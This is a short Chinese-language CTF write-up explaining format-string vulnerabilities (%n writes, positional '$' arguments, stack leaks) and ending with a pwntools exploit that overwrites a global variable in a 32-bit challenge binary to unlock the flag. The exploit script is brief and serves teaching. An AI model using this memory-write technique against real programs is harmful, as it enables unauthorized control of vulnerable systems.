首先checksec
32位/
开了 Canary/NX保护
再运行一下
大致就是这个流程
接下来ida里面
分析C代码
分析前先get一下格式化字符串漏洞的基础知识
举3个常见的相关函数
- fprintf----prints to a FILE stream
- printf----prints to the 'stdout' stream
- sprintf--prints into a string
常见语法
- %d---打印 signed int
- %u---打印 unsigned int
- %s---打印参数地址处的字符串
- %x---打印hex形式的整数
- %p---打印指针
eg:
printf("%10c",0x41);
打印A,宽度为10
A前面会填充9个空格
- %n 将当前已打印字符的个数写入参数地址处--4字节
- %hn------2字节
- %hhn-----1字节
eg:
1.printf("%10c%n",0x41,0x8048810);
打印9个空格+A,会往地址0x8048810处写入10(4字节)
2.printf("%4132c%hhn",0x41,0x0804883B)
4132=0x1024,往地址0x0804883B处写入1字节0x24
关于$符号
指定占位符对应第几个参数
eg:%10$x %x对应第10个参数
一个问题:
如果printf的参数不足,会发生什么?
假设这些参数存在,在对应的栈/寄存器上找到这些参数,将其打印出来
这样就会将栈上一些重要的信息地址泄露出来 ,向其写入后门函数,拿到shell
参数不足
32位直接泄露栈上地址/64位先泄露6个寄存器上的地址,再栈
如果 pwnme == 8 ,即可cat flag
先泄露出参数位置
用gdb确定参数的位置,可以发现,第10位
接下来编写exp
找到pwnme的位置
from pwn import*
#p=remote("111.200.241.244",52498)
p=process('./CG')
payload=p32(0x804A068)+b'aaaa'+b'%10$n'
p.sendlineafter("please tell me your name:\n","aaaa")
p.sendlineafter("leave your message please:\n",payload)
p.sendline(payload)
p.interactive()